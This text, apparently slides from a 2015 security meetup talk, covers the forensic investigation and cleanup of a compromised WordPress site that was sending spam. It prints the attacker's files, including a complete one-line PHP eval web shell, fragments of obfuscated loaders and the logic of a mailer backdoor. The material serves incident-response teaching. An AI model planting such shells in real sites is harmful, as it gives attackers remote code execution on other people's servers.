Somebody Hacked My Wordpress :(

Steve Revilak
https://www.srevilak.net/

Boston Security Meetup

Feb 12th, 2015

The Abuse Report

```
Dear Hostmaster,

This is an abuse report message in ARF
format; for format details see RFC 5965,
http://tools.ietf.org/html/rfc5965

The following message, which appears to be
from one of your users, arrived recently at
one of the domains that I manage.  It looks
to me like spam, unsolicited bulk e-mail.
Could you encourage him/her/it to cut it out?
Thanks.
```

The fellow did his due diligence, sending an ARF-formatted report with a full set of headers. So we should definitely look into it.

Log Forensics

Following up on the report

We can check our MTA's logs for the message id and associated queue id.

```
$ zgrep 112ABD3ABE mail.log.1.gz
May 15 16:21:16 postfix/pickup[10592]: 112ABD3ABE: \
   uid=5150 from=<jquser>
May 15 16:21:16 postfix/cleanup[10829]: 112ABD3ABE: \
   message-id=<20140515202116.112ABD3ABE@didier.mayfirst.org>
May 15 16:21:16 postfix/smtp[10805]: 112ABD3ABE: \
   to=<dyndns@...>
May 15 16:21:16 postfix/qmgr[15533]: 112ABD3ABE: removed
```

Yup, the spam is definitely coming from a local user on this machine.

What's Up with jquser?

Who is jquser, and how much mail are they sending?

- jquser is the `suexec` user of a member's Wordpress site.
- Quick histogram shows $\approx$ 540 messages/hour.

```
$ grep "uid=5150 from=<jquser>" /var/log/mail.log | \
  cut -f1 -d: | sort | uniq -c
    330 May 16 06
    540 May 16 07
    540 May 16 08
    540 May 16 09
    540 May 16 10
    542 May 16 11
    ...
```

What's sending the messages?

Having identified a pattern in the MTA's logs, we can look for time correlations in the web server's logs. Like so:

```
146.185.239.40 - - [16/May/2014:21:39:06 -0400] \
  "POST /wordpress/wp-includes/js/tinymce/themes/advanced\
  /skins/wp_theme/img/7c39_0303.php HTTP/1.1" \
  200 190 "-" \
  "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) \
  Gecko/20100101 Firefox/26.0"
```

`7c39_0303.php` is clearly suspect – it's not part of a standard Wordpress installation.

Tracing the origins of 7c39_0303.php

7c39_0303.php is the spammers trigger. Where did it come from? `stat` provides a clue.

```
$ stat 7c39_0303.php
  File: ‘7c39_0303.php’
  Size: 43848     Blocks: 88      IO Block: 4096   regular file
Device: fd04h/64772d  Inode: 18803  Links: 1
Access: (0644/-rw-r--r--) Uid: ...
Access: 2014-05-16 04:52:15.000000000 -0400
Modify: 2010-09-14 14:14:49.000000000 -0400
Change: 2014-05-08 08:21:33.000000000 -0400
Birth: -
```

Knowing the file's ctime, we can go back to the web server logs, and try to figure out how it got there.

Analyzing Web Server Logs (1)

The miscreant guessed the credentials of a Wordpress user.

```
06/May/2014:07:17:25 "GET /wp-login.php HTTP/1.1" 200 1471
06/May/2014:07:17:25 "POST /wp-login.php HTTP/1.1" 302 1026
06/May/2014:07:17:26 "GET /wp-admin/ HTTP/1.1" 200 12920
06/May/2014:07:17:29 "GET /wp-admin/ HTTP/1.1" 200 12733
```

wp-login.php is Wordpress's login page; wp-admin is the administrative dashboard.

Analyzing Web Server Logs (2)

Next, the miscreant runs Wordpress's theme editor: a web interface for editing server-side files in a Wordpress installation.

```
06/May/2014:07:17:30 "GET /wp-admin/theme-editor.php
06/May/2014:07:17:31 "GET /wp-admin/theme-editor.php?\
  file=%2Fthemes%2Fpresswork%2Fcomments.php\
  &theme=PressWork&dir=theme
06/May/2014:07:17:31 "POST /wp-admin/theme-editor.php
```

Via the theme editor, they add a file upload capability to one of Wordpress's comment forms.

Analyzing Web Server Logs (3)

Next, the miscreant plays with Wordpress's plugin configuration, uploads a few scrips, and tests them out.

```
06/May/2014:07:17:39 "POST /wp-admin/plugin-install.php\
   ?tab=upload
06/May/2014:07:17:39 "POST /wp-admin/update.php\
   ?action=upload-plugin

06/May/2014:07:17:41 "GET /wp-content/uploads\
   /2014/05/maink.php
06/May/2014:07:17:43 "GET /wp-content/uploads/res.php
```

Summarizing What We've Learned So Far

We know how the miscreant got in:

- They guessed the credentials of a Wordpress administrator account.
- They used the theme editor to add an upload widget to a comment form.
- They played with the Wordpress's plugin configuration, and uploaded some scripts.

Our immediate priorities:

- Locking out the attackers (and stopping the flow of spam).
- Cleaning out the web site.

Wordpress Cleanup

To lock out the attackers, make everyone reset their password:

```
mysql> update wp_users set user_pass =
       replace(user_pass, '$P$', '$P$DISABLED');
```

Remove and quarantine all files installed during the exploit.
Replace changed files with clean copies.

- `find . -ctime ...` helps us identify changes since the break-in.
- Having the Wordpress installation under revision control would have made this process easier (e.g., 'git diff')

Finally, we disable Wordpress's theme editor (for good measure).

```
define('DISALLOW_FILE_EDIT', true);
```

Post-Mortem Fun:
Code Analysis

The Exploit Files: PHP.php

PHP.php is a doozy.

```
$ cat PHP.php
<?php eval($_POST[sb])?>
```

If you can get this on a web server: two thumbs up!

The Exploit Files: res.php

res.php is heavily obfuscated, containing eight statements:

```
<?
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX ...
eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWF ...
return;
>
```

Spaghetti coding at its best – and it gets even better.

The Exploit Files: res.php (2)

- `$xYEzDu6r3EZT` is XOR'd data.
- `eval(base64_decode("ZXZhbCh ...))` turns into two more `eval(base64_decode(...))` statements.
- Peeling back several more layers of base64 encoding gives:

```
<?php
$xZ1jvX644ft=base64_decode("YmFzZTY0X2RlY29kZQ==");
$xGwtLDwpLRx1=base64_decode("c3RybGVu");
$x7st79VVrvR=base64_decode("Y2hy");
$xWxG9z44OOp=base64_decode("b3Jk");
$xeLtgqhwIWH1=base64_decode("Z3ppbmZsYXRl");
$xYEzDu6r3EZT=$xZ1jvX644ft($xYEzDu6r3EZT);
$xbXAcGnZbPe=$xGwtLDwpLRx1($xYEzDu6r3EZT);
...
```

Isn't that beautiful?

The Exploit Files: res.php (3)

A few more rounds of decoding yields a recognizable function!

```
function solidstate($makeup) {
    $lol = '';
    for($i=0;$i < strlen($makeup);$i+=2) {
      $lol.=chr(hexdec(substr($makeup,$i,2)));
    }
    return $lol;
}
$seicolink=solidstate('24736f757263653d62617365345f ...
eval ($seicolink);
```

(Again, this is the whole script.)

The Exploit Files: res.php (4)

Eventually we get to this bit, which generates the real script.

```
eval(gzinflate(base64_decode('5b19fxq30jD8d/wp5C3tQo ...
```

After 9 layers of obfuscation – we have a web shell.

Tip: When dealing with Russian Doll code like this, it's helpful to *carefully* replace PHP `eval` with `print`.

The Exploit Files: 7c39_0303.php

7c39_0303.php was the mailer script. It's also obfuscated:

```
<?php
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x62\x6f\x70
\x75 \x68\x75\x77\x6c\x77\x6a"]="\x66\x75nc";${"\x47L\x4
fB\x41L\x53"}["\x73\x67le\x63i\x6e\x6aq\x6a"]="\x68";
${"\x47L\x4fB\x41\x4c\x53"}["ghv\x6c\x71\x78y\x73"]=
"\x72\x65\x73";${"\x47L\x4fBAL\x53"}
["\x65\x69\x64\x78z\x6ct\x6c\x65g\x65k"]=...
```

The entire file is contained on one line (of course).

The Exploit Files: 7c39_0303.php (2)

Decoding the \x escapes and adding some newlines gives us something more readable:

```
<?php
$"GLOBALS"["vbopuhuwlwj"]="func";
$"GLOBALS"["sglecinjqj"]="h";
$"GLOBALS"["ghvlqxys"]="res";
$"GLOBALS"["eidxzltlegek"]="h_detected";
$"GLOBALS"["eqlpdjq"]="headers";
$"GLOBALS"["npnjrfmeyknj"]="data";
$"GLOBALS"["iopwylwq"]="k";
$"GLOBALS"["dwpolchwjza"]="cookie";
...
```

`GLOBALS` is a symbol table, and these are the variable names.

The Exploit Files: 7c39_0303.php (3)

Despite the obfuscation, the high level logic is easy to follow:

```
if (isset($_POST["code"])
    && isset($_POST["custom_action"])
    && is_good_ip($_SERVER["REMOTE_ADDR"])) {
    eval(base64_decode($_POST["code"]));
  exit();
}
```

If someone sends code and a custom action, and they have a good IP address, then we'll run the code.

Just like `res.php`, but with ACLs.

The Exploit Files: 7c39_0303.php (4)

What are the “good IPs”? They’re three /24 ranges:

- 8.138.118: Registered to Level 3 Communications.
- 8.138.127: Also registered to Level 3.
- 6.185.239: Registered to United States Army Information Systems Command, in Fort Huachuca, AZ

US Army Information Systems Command?

The original exploit was uploaded by 37.230.117.90. This IP is registered to CJSC The First, Raduzhny 34a, PO Box64, Irkutsk, Russian Federation.

The Exploit Files: 7c39_0303.php (5)

Here's the rest of the logic:

```
if (isset($_POST["type"]) && $_POST["type"]=="1") {
  type1_send();
  exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2") {
}
elseif (isset($_POST["type"])) {
  echo $_POST["type"];
  exit();
}
error_404();
```

Apparently, no one bothered to implement type 2.

The Exploit Files: 7c39_0303.php (6)

`type1_send()` was roughly what I expected it to be:

- It takes a message and a list of addresses,
- performs some macro expansion, and
- sends a message out to each address.

Most of the `type1_send()` requests were made by 146.185.239.40

- part of a /24 registered to CubeHost Ltd. in the United Arab Emirates.

Conclusion

- Weak passwords are, well, weak passwords.
- Wordpress's theme editor makes me sad.
- Logfiles are your friend.
- Revision control is the friend you really want to have.
- Just when you think you've seen the ugliest code on the face of the planet, someone will come along with something uglier.